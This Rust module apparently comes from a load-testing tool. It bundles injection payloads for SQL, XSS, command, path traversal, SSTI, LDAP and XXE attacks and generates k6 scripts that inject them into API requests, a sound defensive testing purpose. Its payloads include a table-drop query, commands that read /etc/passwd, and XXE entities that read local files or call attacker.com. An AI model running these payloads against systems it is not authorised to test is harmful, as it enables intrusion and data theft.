mockforge_bench/
security_payloads.rs

1//! Security testing payloads for load testing
2//!
3//! This module provides built-in security testing payloads for common
4//! vulnerability categories including SQL injection, XSS, command injection,
5//! and path traversal.
6
7use crate::error::{BenchError, Result};
8use serde::{Deserialize, Serialize};
9use std::collections::HashSet;
10use std::path::Path;
11
12/// Security payload categories
13#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)]
14#[serde(rename_all = "kebab-case")]
15pub enum SecurityCategory {
16    /// SQL Injection payloads
17    SqlInjection,
18    /// Cross-Site Scripting (XSS) payloads
19    Xss,
20    /// Command Injection payloads
21    CommandInjection,
22    /// Path Traversal payloads
23    PathTraversal,
24    /// Server-Side Template Injection
25    Ssti,
26    /// LDAP Injection
27    LdapInjection,
28    /// XML External Entity (XXE)
29    Xxe,
30}
31
32impl std::fmt::Display for SecurityCategory {
33    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
34        match self {
35            Self::SqlInjection => write!(f, "sqli"),
36            Self::Xss => write!(f, "xss"),
37            Self::CommandInjection => write!(f, "command-injection"),
38            Self::PathTraversal => write!(f, "path-traversal"),
39            Self::Ssti => write!(f, "ssti"),
40            Self::LdapInjection => write!(f, "ldap-injection"),
41            Self::Xxe => write!(f, "xxe"),
42        }
43    }
44}
45
46impl std::str::FromStr for SecurityCategory {
47    type Err = String;
48
49    fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
50        match s.to_lowercase().replace('_', "-").as_str() {
51            "sqli" | "sql-injection" | "sqlinjection" => Ok(Self::SqlInjection),
52            "xss" | "cross-site-scripting" => Ok(Self::Xss),
53            "command-injection" | "commandinjection" | "cmd" => Ok(Self::CommandInjection),
54            "path-traversal" | "pathtraversal" | "lfi" => Ok(Self::PathTraversal),
55            "ssti" | "template-injection" => Ok(Self::Ssti),
56            "ldap-injection" | "ldapinjection" | "ldap" => Ok(Self::LdapInjection),
57            "xxe" | "xml-external-entity" => Ok(Self::Xxe),
58            _ => Err(format!("Unknown security category: '{}'", s)),
59        }
60    }
61}
62
63/// A security testing payload
64#[derive(Debug, Clone, Serialize, Deserialize)]
65pub struct SecurityPayload {
66    /// The payload string to inject
67    pub payload: String,
68    /// Category of the payload
69    pub category: SecurityCategory,
70    /// Description of what this payload tests
71    pub description: String,
72    /// Whether this is considered a high-risk payload
73    pub high_risk: bool,
74}
75
76impl SecurityPayload {
77    /// Create a new security payload
78    pub fn new(payload: String, category: SecurityCategory, description: String) -> Self {
79        Self {
80            payload,
81            category,
82            description,
83            high_risk: false,
84        }
85    }
86
87    /// Mark as high risk
88    pub fn high_risk(mut self) -> Self {
89        self.high_risk = true;
90        self
91    }
92}
93
94/// Configuration for security testing
95#[derive(Debug, Clone, Serialize, Deserialize)]
96pub struct SecurityTestConfig {
97    /// Whether security testing is enabled
98    pub enabled: bool,
99    /// Categories to test
100    pub categories: HashSet<SecurityCategory>,
101    /// Specific fields to target for injection
102    pub target_fields: Vec<String>,
103    /// Path to custom payloads file (extends built-in)
104    pub custom_payloads_file: Option<String>,
105    /// Whether to include high-risk payloads
106    pub include_high_risk: bool,
107}
108
109impl Default for SecurityTestConfig {
110    fn default() -> Self {
111        let mut categories = HashSet::new();
112        categories.insert(SecurityCategory::SqlInjection);
113        categories.insert(SecurityCategory::Xss);
114
115        Self {
116            enabled: false,
117            categories,
118            target_fields: Vec::new(),
119            custom_payloads_file: None,
120            include_high_risk: false,
121        }
122    }
123}
124
125impl SecurityTestConfig {
126    /// Enable security testing
127    pub fn enable(mut self) -> Self {
128        self.enabled = true;
129        self
130    }
131
132    /// Set categories to test
133    pub fn with_categories(mut self, categories: HashSet<SecurityCategory>) -> Self {
134        self.categories = categories;
135        self
136    }
137
138    /// Set target fields
139    pub fn with_target_fields(mut self, fields: Vec<String>) -> Self {
140        self.target_fields = fields;
141        self
142    }
143
144    /// Set custom payloads file
145    pub fn with_custom_payloads(mut self, path: String) -> Self {
146        self.custom_payloads_file = Some(path);
147        self
148    }
149
150    /// Enable high-risk payloads
151    pub fn with_high_risk(mut self) -> Self {
152        self.include_high_risk = true;
153        self
154    }
155
156    /// Parse categories from a comma-separated string
157    pub fn parse_categories(s: &str) -> std::result::Result<HashSet<SecurityCategory>, String> {
158        if s.is_empty() {
159            return Ok(HashSet::new());
160        }
161
162        s.split(',').map(|c| c.trim().parse::<SecurityCategory>()).collect()
163    }
164}
165
166/// Built-in security payloads
167pub struct SecurityPayloads;
168
169impl SecurityPayloads {
170    /// Get SQL injection payloads
171    pub fn sql_injection() -> Vec<SecurityPayload> {
172        vec![
173            SecurityPayload::new(
174                "' OR '1'='1".to_string(),
175                SecurityCategory::SqlInjection,
176                "Basic SQL injection tautology".to_string(),
177            ),
178            SecurityPayload::new(
179                "' OR '1'='1' --".to_string(),
180                SecurityCategory::SqlInjection,
181                "SQL injection with comment".to_string(),
182            ),
183            SecurityPayload::new(
184                "'; DROP TABLE users; --".to_string(),
185                SecurityCategory::SqlInjection,
186                "SQL injection table drop attempt".to_string(),
187            )
188            .high_risk(),
189            SecurityPayload::new(
190                "' UNION SELECT * FROM users --".to_string(),
191                SecurityCategory::SqlInjection,
192                "SQL injection union-based data extraction".to_string(),
193            ),
194            SecurityPayload::new(
195                "1' AND '1'='1".to_string(),
196                SecurityCategory::SqlInjection,
197                "SQL injection boolean-based blind".to_string(),
198            ),
199            SecurityPayload::new(
200                "1; WAITFOR DELAY '0:0:5' --".to_string(),
201                SecurityCategory::SqlInjection,
202                "SQL injection time-based blind (MSSQL)".to_string(),
203            ),
204            SecurityPayload::new(
205                "1' AND SLEEP(5) --".to_string(),
206                SecurityCategory::SqlInjection,
207                "SQL injection time-based blind (MySQL)".to_string(),
208            ),
209        ]
210    }
211
212    /// Get XSS payloads
213    pub fn xss() -> Vec<SecurityPayload> {
214        vec![
215            SecurityPayload::new(
216                "<script>alert('XSS')</script>".to_string(),
217                SecurityCategory::Xss,
218                "Basic script tag XSS".to_string(),
219            ),
220            SecurityPayload::new(
221                "<img src=x onerror=alert('XSS')>".to_string(),
222                SecurityCategory::Xss,
223                "Image tag XSS with onerror".to_string(),
224            ),
225            SecurityPayload::new(
226                "<svg/onload=alert('XSS')>".to_string(),
227                SecurityCategory::Xss,
228                "SVG tag XSS with onload".to_string(),
229            ),
230            SecurityPayload::new(
231                "javascript:alert('XSS')".to_string(),
232                SecurityCategory::Xss,
233                "JavaScript protocol XSS".to_string(),
234            ),
235            SecurityPayload::new(
236                "<body onload=alert('XSS')>".to_string(),
237                SecurityCategory::Xss,
238                "Body tag XSS with onload".to_string(),
239            ),
240            SecurityPayload::new(
241                "'><script>alert(String.fromCharCode(88,83,83))</script>".to_string(),
242                SecurityCategory::Xss,
243                "XSS with character encoding".to_string(),
244            ),
245            SecurityPayload::new(
246                "<div style=\"background:url(javascript:alert('XSS'))\">".to_string(),
247                SecurityCategory::Xss,
248                "CSS-based XSS".to_string(),
249            ),
250        ]
251    }
252
253    /// Get command injection payloads
254    pub fn command_injection() -> Vec<SecurityPayload> {
255        vec![
256            SecurityPayload::new(
257                "; ls -la".to_string(),
258                SecurityCategory::CommandInjection,
259                "Unix command injection with semicolon".to_string(),
260            ),
261            SecurityPayload::new(
262                "| cat /etc/passwd".to_string(),
263                SecurityCategory::CommandInjection,
264                "Unix command injection with pipe".to_string(),
265            )
266            .high_risk(),
267            SecurityPayload::new(
268                "$(cat /etc/passwd)".to_string(),
269                SecurityCategory::CommandInjection,
270                "Unix command substitution".to_string(),
271            )
272            .high_risk(),
273            SecurityPayload::new(
274                "`cat /etc/passwd`".to_string(),
275                SecurityCategory::CommandInjection,
276                "Unix backtick command execution".to_string(),
277            )
278            .high_risk(),
279            SecurityPayload::new(
280                "& dir".to_string(),
281                SecurityCategory::CommandInjection,
282                "Windows command injection".to_string(),
283            ),
284            SecurityPayload::new(
285                "|| ping -c 3 127.0.0.1".to_string(),
286                SecurityCategory::CommandInjection,
287                "Command injection with OR".to_string(),
288            ),
289            SecurityPayload::new(
290                "\n/bin/sh -c 'echo vulnerable'".to_string(),
291                SecurityCategory::CommandInjection,
292                "Newline-based command injection".to_string(),
293            ),
294        ]
295    }
296
297    /// Get path traversal payloads
298    pub fn path_traversal() -> Vec<SecurityPayload> {
299        vec![
300            SecurityPayload::new(
301                "../../../etc/passwd".to_string(),
302                SecurityCategory::PathTraversal,
303                "Basic path traversal".to_string(),
304            ),
305            SecurityPayload::new(
306                "..%2F..%2F..%2Fetc%2Fpasswd".to_string(),
307                SecurityCategory::PathTraversal,
308                "URL-encoded path traversal".to_string(),
309            ),
310            SecurityPayload::new(
311                "....//....//....//etc/passwd".to_string(),
312                SecurityCategory::PathTraversal,
313                "Double-dot path traversal bypass".to_string(),
314            ),
315            SecurityPayload::new(
316                "..%252f..%252f..%252fetc%252fpasswd".to_string(),
317                SecurityCategory::PathTraversal,
318                "Double URL-encoded path traversal".to_string(),
319            ),
320            SecurityPayload::new(
321                "/etc/passwd%00.jpg".to_string(),
322                SecurityCategory::PathTraversal,
323                "Null byte injection path traversal".to_string(),
324            ),
325            SecurityPayload::new(
326                "....\\....\\....\\windows\\system32\\config\\sam".to_string(),
327                SecurityCategory::PathTraversal,
328                "Windows path traversal".to_string(),
329            ),
330        ]
331    }
332
333    /// Get SSTI payloads
334    pub fn ssti() -> Vec<SecurityPayload> {
335        vec![
336            SecurityPayload::new(
337                "{{7*7}}".to_string(),
338                SecurityCategory::Ssti,
339                "Jinja2/Twig SSTI detection".to_string(),
340            ),
341            SecurityPayload::new(
342                "${7*7}".to_string(),
343                SecurityCategory::Ssti,
344                "Freemarker SSTI detection".to_string(),
345            ),
346            SecurityPayload::new(
347                "<%= 7*7 %>".to_string(),
348                SecurityCategory::Ssti,
349                "ERB SSTI detection".to_string(),
350            ),
351            SecurityPayload::new(
352                "#{7*7}".to_string(),
353                SecurityCategory::Ssti,
354                "Ruby SSTI detection".to_string(),
355            ),
356        ]
357    }
358
359    /// Get LDAP injection payloads
360    pub fn ldap_injection() -> Vec<SecurityPayload> {
361        vec![
362            SecurityPayload::new(
363                "*".to_string(),
364                SecurityCategory::LdapInjection,
365                "LDAP wildcard - match all".to_string(),
366            ),
367            SecurityPayload::new(
368                "*)(&".to_string(),
369                SecurityCategory::LdapInjection,
370                "LDAP filter injection - close and inject".to_string(),
371            ),
372            SecurityPayload::new(
373                "*)(uid=*))(|(uid=*".to_string(),
374                SecurityCategory::LdapInjection,
375                "LDAP OR injection to bypass auth".to_string(),
376            ),
377            SecurityPayload::new(
378                "admin)(&)".to_string(),
379                SecurityCategory::LdapInjection,
380                "LDAP always true injection".to_string(),
381            ),
382            SecurityPayload::new(
383                "x)(|(objectClass=*".to_string(),
384                SecurityCategory::LdapInjection,
385                "LDAP objectClass enumeration".to_string(),
386            ),
387            SecurityPayload::new(
388                "*)(cn=*".to_string(),
389                SecurityCategory::LdapInjection,
390                "LDAP CN attribute injection".to_string(),
391            ),
392            SecurityPayload::new(
393                "*)%00".to_string(),
394                SecurityCategory::LdapInjection,
395                "LDAP null byte injection".to_string(),
396            ),
397            SecurityPayload::new(
398                "*))%00".to_string(),
399                SecurityCategory::LdapInjection,
400                "LDAP double close with null byte".to_string(),
401            ),
402        ]
403    }
404
405    /// Get XXE (XML External Entity) payloads
406    pub fn xxe() -> Vec<SecurityPayload> {
407        vec![
408            SecurityPayload::new(
409                r#"<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>"#.to_string(),
410                SecurityCategory::Xxe,
411                "Basic XXE - read /etc/passwd".to_string(),
412            ).high_risk(),
413            SecurityPayload::new(
414                r#"<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]><foo>&xxe;</foo>"#.to_string(),
415                SecurityCategory::Xxe,
416                "Windows XXE - read win.ini".to_string(),
417            ).high_risk(),
418            SecurityPayload::new(
419                r#"<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.com/xxe">]><foo>&xxe;</foo>"#.to_string(),
420                SecurityCategory::Xxe,
421                "XXE SSRF - external request".to_string(),
422            ).high_risk(),
423            SecurityPayload::new(
424                r#"<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/xxe.dtd">%xxe;]><foo>bar</foo>"#.to_string(),
425                SecurityCategory::Xxe,
426                "External DTD XXE".to_string(),
427            ).high_risk(),
428            SecurityPayload::new(
429                r#"<?xml version="1.0"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "expect://id">]><foo>&xxe;</foo>"#.to_string(),
430                SecurityCategory::Xxe,
431                "PHP expect XXE - command execution".to_string(),
432            ).high_risk(),
433            SecurityPayload::new(
434                r#"<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">]><foo>&xxe;</foo>"#.to_string(),
435                SecurityCategory::Xxe,
436                "PHP filter XXE - base64 encoded read".to_string(),
437            ).high_risk(),
438            SecurityPayload::new(
439                r#"<!DOCTYPE foo [<!ENTITY % a "<!ENTITY &#37; b SYSTEM 'file:///etc/passwd'>">%a;%b;]>"#.to_string(),
440                SecurityCategory::Xxe,
441                "Parameter entity XXE".to_string(),
442            ).high_risk(),
443            SecurityPayload::new(
444                r#"<?xml version="1.0"?><!DOCTYPE foo SYSTEM "http://attacker.com/xxe.dtd"><foo>&xxe;</foo>"#.to_string(),
445                SecurityCategory::Xxe,
446                "External DTD reference".to_string(),
447            ).high_risk(),
448        ]
449    }
450
451    /// Get all payloads for a specific category
452    pub fn get_by_category(category: SecurityCategory) -> Vec<SecurityPayload> {
453        match category {
454            SecurityCategory::SqlInjection => Self::sql_injection(),
455            SecurityCategory::Xss => Self::xss(),
456            SecurityCategory::CommandInjection => Self::command_injection(),
457            SecurityCategory::PathTraversal => Self::path_traversal(),
458            SecurityCategory::Ssti => Self::ssti(),
459            SecurityCategory::LdapInjection => Self::ldap_injection(),
460            SecurityCategory::Xxe => Self::xxe(),
461        }
462    }
463
464    /// Get all payloads for configured categories
465    pub fn get_payloads(config: &SecurityTestConfig) -> Vec<SecurityPayload> {
466        let mut payloads: Vec<SecurityPayload> =
467            config.categories.iter().flat_map(|c| Self::get_by_category(*c)).collect();
468
469        // Filter out high-risk if not included
470        if !config.include_high_risk {
471            payloads.retain(|p| !p.high_risk);
472        }
473
474        payloads
475    }
476
477    /// Load custom payloads from a file
478    pub fn load_custom_payloads(path: &Path) -> Result<Vec<SecurityPayload>> {
479        let content = std::fs::read_to_string(path)
480            .map_err(|e| BenchError::Other(format!("Failed to read payloads file: {}", e)))?;
481
482        serde_json::from_str(&content)
483            .map_err(|e| BenchError::Other(format!("Failed to parse payloads file: {}", e)))
484    }
485}
486
487/// Generates k6 JavaScript code for security testing
488pub struct SecurityTestGenerator;
489
490impl SecurityTestGenerator {
491    /// Generate k6 code for security payload selection
492    pub fn generate_payload_selection(payloads: &[SecurityPayload]) -> String {
493        let mut code = String::new();
494
495        code.push_str("// Security testing payloads\n");
496        code.push_str("const securityPayloads = [\n");
497
498        for payload in payloads {
499            // Escape the payload for JavaScript
500            let escaped = payload
501                .payload
502                .replace('\\', "\\\\")
503                .replace('\'', "\\'")
504                .replace('\n', "\\n")
505                .replace('\r', "\\r");
506
507            code.push_str(&format!(
508                "  {{ payload: '{}', category: '{}', description: '{}' }},\n",
509                escaped, payload.category, payload.description
510            ));
511        }
512
513        code.push_str("];\n\n");
514        code.push_str("// Select random security payload\n");
515        code.push_str("const securityPayload = securityPayloads[Math.floor(Math.random() * securityPayloads.length)];\n");
516
517        code
518    }
519
520    /// Generate k6 code for applying security payload to request
521    pub fn generate_apply_payload(target_fields: &[String]) -> String {
522        let mut code = String::new();
523
524        code.push_str("// Apply security payload to request\n");
525        code.push_str("function applySecurityPayload(payload, targetFields, secPayload) {\n");
526        code.push_str("  const result = { ...payload };\n");
527        code.push_str("  \n");
528
529        if target_fields.is_empty() {
530            code.push_str("  // No specific target fields - inject into first string field\n");
531            code.push_str("  for (const key of Object.keys(result)) {\n");
532            code.push_str("    if (typeof result[key] === 'string') {\n");
533            code.push_str("      result[key] = secPayload.payload;\n");
534            code.push_str("      break;\n");
535            code.push_str("    }\n");
536            code.push_str("  }\n");
537        } else {
538            code.push_str("  // Inject into specified target fields\n");
539            code.push_str("  for (const field of targetFields) {\n");
540            code.push_str("    if (result.hasOwnProperty(field)) {\n");
541            code.push_str("      result[field] = secPayload.payload;\n");
542            code.push_str("    }\n");
543            code.push_str("  }\n");
544        }
545
546        code.push_str("  \n");
547        code.push_str("  return result;\n");
548        code.push_str("}\n");
549
550        code
551    }
552
553    /// Generate k6 code for security test checks
554    pub fn generate_security_checks() -> String {
555        r#"// Security test response checks
556function checkSecurityResponse(res, expectedVulnerable) {
557  // Check for common vulnerability indicators
558  const body = res.body || '';
559
560  const vulnerabilityIndicators = [
561    // SQL injection
562    'SQL syntax',
563    'mysql_fetch',
564    'ORA-',
565    'PostgreSQL',
566
567    // Command injection
568    'root:',
569    '/bin/',
570    'uid=',
571
572    // Path traversal
573    '[extensions]',
574    'passwd',
575
576    // XSS (reflected)
577    '<script>alert',
578    'onerror=',
579
580    // Error disclosure
581    'stack trace',
582    'Exception',
583    'Error in',
584  ];
585
586  const foundIndicator = vulnerabilityIndicators.some(ind =>
587    body.toLowerCase().includes(ind.toLowerCase())
588  );
589
590  if (foundIndicator) {
591    console.warn(`POTENTIAL VULNERABILITY: ${securityPayload.description}`);
592    console.warn(`Category: ${securityPayload.category}`);
593    console.warn(`Status: ${res.status}`);
594  }
595
596  return check(res, {
597    'security test: no obvious vulnerability': () => !foundIndicator,
598    'security test: proper error handling': (r) => r.status < 500,
599  });
600}
601"#
602        .to_string()
603    }
604}
605
606#[cfg(test)]
607mod tests {
608    use super::*;
609    use std::str::FromStr;
610
611    #[test]
612    fn test_security_category_display() {
613        assert_eq!(SecurityCategory::SqlInjection.to_string(), "sqli");
614        assert_eq!(SecurityCategory::Xss.to_string(), "xss");
615        assert_eq!(SecurityCategory::CommandInjection.to_string(), "command-injection");
616        assert_eq!(SecurityCategory::PathTraversal.to_string(), "path-traversal");
617    }
618
619    #[test]
620    fn test_security_category_from_str() {
621        assert_eq!(SecurityCategory::from_str("sqli").unwrap(), SecurityCategory::SqlInjection);
622        assert_eq!(
623            SecurityCategory::from_str("sql-injection").unwrap(),
624            SecurityCategory::SqlInjection
625        );
626        assert_eq!(SecurityCategory::from_str("xss").unwrap(), SecurityCategory::Xss);
627        assert_eq!(
628            SecurityCategory::from_str("command-injection").unwrap(),
629            SecurityCategory::CommandInjection
630        );
631    }
632
633    #[test]
634    fn test_security_category_from_str_invalid() {
635        assert!(SecurityCategory::from_str("invalid").is_err());
636    }
637
638    #[test]
639    fn test_security_test_config_default() {
640        let config = SecurityTestConfig::default();
641        assert!(!config.enabled);
642        assert!(config.categories.contains(&SecurityCategory::SqlInjection));
643        assert!(config.categories.contains(&SecurityCategory::Xss));
644        assert!(!config.include_high_risk);
645    }
646
647    #[test]
648    fn test_security_test_config_builders() {
649        let mut categories = HashSet::new();
650        categories.insert(SecurityCategory::CommandInjection);
651
652        let config = SecurityTestConfig::default()
653            .enable()
654            .with_categories(categories)
655            .with_target_fields(vec!["name".to_string()])
656            .with_high_risk();
657
658        assert!(config.enabled);
659        assert!(config.categories.contains(&SecurityCategory::CommandInjection));
660        assert!(!config.categories.contains(&SecurityCategory::SqlInjection));
661        assert_eq!(config.target_fields, vec!["name"]);
662        assert!(config.include_high_risk);
663    }
664
665    #[test]
666    fn test_parse_categories() {
667        let categories = SecurityTestConfig::parse_categories("sqli,xss,path-traversal").unwrap();
668        assert_eq!(categories.len(), 3);
669        assert!(categories.contains(&SecurityCategory::SqlInjection));
670        assert!(categories.contains(&SecurityCategory::Xss));
671        assert!(categories.contains(&SecurityCategory::PathTraversal));
672    }
673
674    #[test]
675    fn test_sql_injection_payloads() {
676        let payloads = SecurityPayloads::sql_injection();
677        assert!(!payloads.is_empty());
678        assert!(payloads.iter().all(|p| p.category == SecurityCategory::SqlInjection));
679        assert!(payloads.iter().any(|p| p.payload.contains("OR")));
680    }
681
682    #[test]
683    fn test_xss_payloads() {
684        let payloads = SecurityPayloads::xss();
685        assert!(!payloads.is_empty());
686        assert!(payloads.iter().all(|p| p.category == SecurityCategory::Xss));
687        assert!(payloads.iter().any(|p| p.payload.contains("<script>")));
688    }
689
690    #[test]
691    fn test_command_injection_payloads() {
692        let payloads = SecurityPayloads::command_injection();
693        assert!(!payloads.is_empty());
694        assert!(payloads.iter().all(|p| p.category == SecurityCategory::CommandInjection));
695    }
696
697    #[test]
698    fn test_path_traversal_payloads() {
699        let payloads = SecurityPayloads::path_traversal();
700        assert!(!payloads.is_empty());
701        assert!(payloads.iter().all(|p| p.category == SecurityCategory::PathTraversal));
702        assert!(payloads.iter().any(|p| p.payload.contains("..")));
703    }
704
705    #[test]
706    fn test_get_payloads_filters_high_risk() {
707        let config = SecurityTestConfig::default();
708        let payloads = SecurityPayloads::get_payloads(&config);
709
710        // Should not include high-risk payloads by default
711        assert!(payloads.iter().all(|p| !p.high_risk));
712    }
713
714    #[test]
715    fn test_get_payloads_includes_high_risk() {
716        let config = SecurityTestConfig::default().with_high_risk();
717        let payloads = SecurityPayloads::get_payloads(&config);
718
719        // Should include some high-risk payloads
720        assert!(payloads.iter().any(|p| p.high_risk));
721    }
722
723    #[test]
724    fn test_generate_payload_selection() {
725        let payloads = vec![SecurityPayload::new(
726            "' OR '1'='1".to_string(),
727            SecurityCategory::SqlInjection,
728            "Basic SQLi".to_string(),
729        )];
730
731        let code = SecurityTestGenerator::generate_payload_selection(&payloads);
732        assert!(code.contains("securityPayloads"));
733        assert!(code.contains("OR"));
734        assert!(code.contains("Math.random()"));
735    }
736
737    #[test]
738    fn test_generate_apply_payload_no_targets() {
739        let code = SecurityTestGenerator::generate_apply_payload(&[]);
740        assert!(code.contains("applySecurityPayload"));
741        assert!(code.contains("first string field"));
742    }
743
744    #[test]
745    fn test_generate_apply_payload_with_targets() {
746        let code = SecurityTestGenerator::generate_apply_payload(&["name".to_string()]);
747        assert!(code.contains("applySecurityPayload"));
748        assert!(code.contains("target fields"));
749    }
750
751    #[test]
752    fn test_generate_security_checks() {
753        let code = SecurityTestGenerator::generate_security_checks();
754        assert!(code.contains("checkSecurityResponse"));
755        assert!(code.contains("vulnerabilityIndicators"));
756        assert!(code.contains("POTENTIAL VULNERABILITY"));
757    }
758
759    #[test]
760    fn test_payload_escaping() {
761        let payloads = vec![SecurityPayload::new(
762            "'; DROP TABLE users; --".to_string(),
763            SecurityCategory::SqlInjection,
764            "Drop table".to_string(),
765        )];
766
767        let code = SecurityTestGenerator::generate_payload_selection(&payloads);
768        // Single quotes should be escaped
769        assert!(code.contains("\\'"));
770    }
771}